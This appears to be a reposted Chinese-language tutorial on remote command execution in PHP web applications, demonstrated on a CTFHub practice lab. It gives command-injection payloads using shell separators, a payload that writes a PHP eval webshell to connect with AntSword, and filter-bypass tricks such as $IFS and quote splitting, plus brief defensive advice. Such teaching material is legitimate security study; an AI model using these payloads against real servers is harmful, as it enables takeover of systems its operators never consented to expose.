WEB漏洞——RCE


RCE(remote command/code execute)遠程命令/代碼執行漏洞,可以讓攻擊者直接向后台服務器遠程注入操作系統命令或者代碼,從而控制后台系統。

RCE漏洞

應用程序有時需要調用一些執行系統命令的函數,如在PHP中,使用system、exec、 shell_exec、 passthru、 popen、 proc_popen等函數可以執行系統命令。當黑客能控制這些函數中的參數時,就可以將惡意的系統命令拼接到正常命令中,從而造成命令執行攻擊,這就是命令執行漏洞

拼接命令時需要用到管道符

Windows管道符

  1.  |  :直接執行后面的語句。例如ping 127.0.0.1|whoami
  2.  ||  :如果前面的語句執行失敗,則執行后面的語句,前面的語句只能為假才行。例如ping 2||whoami
  3.  & :兩條命令都執行,如果前面的語句為假則直接執行后面的語句,前面的語句可真可假。例如ping 2&whoami
  4. && :如果前面的語句為假則直接出錯,也不執行后面的話句,前面的語句為真則兩條命令都執行,前面的語句只能為真。例如ping 127.0.0.1&&whoami

Linux管道符

  1.  ; :執行完前面的語句再執行后面的語句。例如ping 127.0.0.1;whoami
  2.  | :顯示后面語句的執行結果。例如ping 127.0.0.1|whoami
  3.  || :當前面的語句執行出錯時,執行后面的語句。例如ping 2||whoami
  4. &  :兩條命令都執行,如果前面的語句為假則執行執行后面的語句,前面的語句可真可假。例如ping 2&whoami
  5. &&:如果前面的語句為假則直接出錯,也不執行后面的語句,前面的語句為真則兩條命令都執行,前面的語句只能為真。例如ping 127.0.0.1&&whoami

命令執行漏洞攻擊演示

下面拿ctfhub中的命令注入靶場演示

是一個簡單的ping網站的頁面,輸入ip進行ping命令,

 

輸入ip沒什么問題返回了結果,但是如果利用管道符拼接一些其他的系統命令例如whoami 

 

成功執行了其他的系統命令

 

代碼執行漏洞攻擊演示

也可以利用系統命令寫入一句話木馬

127.0.0.1&echo "<?php @eval(\$_POST['test']);?>" > 1.php

 至於一句話木馬為什么要加 \ ,看了網上的回答。echo命令會調用$_POST導致原始文件中沒有,因此需要改為echo  "<?php @eval(\$_POST['test']);?>" > 1.php即可

寫入一句話木馬之后,接下來用蟻劍連接即可

 

命令執行繞過過濾

這里就列出幾個常見的,可以舉一反三

  • 過濾cat

  拼接繞過:127.0.0.1;a=c;b=at;$a$b rce.php或者127.0.0.1;a=c;b=at;${a}${b} rce_ping.php

  單引號和雙引號繞過:比如:ca''t flag 或ca""t flag

  • ; | & 符號過濾

  用%0a(回車)%0d(換行)來代替上面的符號。

  • 過濾空格

   < 、<>、%20(空格)、%09(tab鍵)、$IFS$9、 ${IFS}、$IFS等

 

防御RCE攻擊

  • 盡量不要使用命令執行函數。
  • 客戶端提交的變量在進入執行命令函數前要做好過濾和檢測
  • 在使用動態函數之前,確保使用的函數是指定的函數之ー。
  • 對PHP語言來說,不能完全控制的危險函數最好不要使用


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM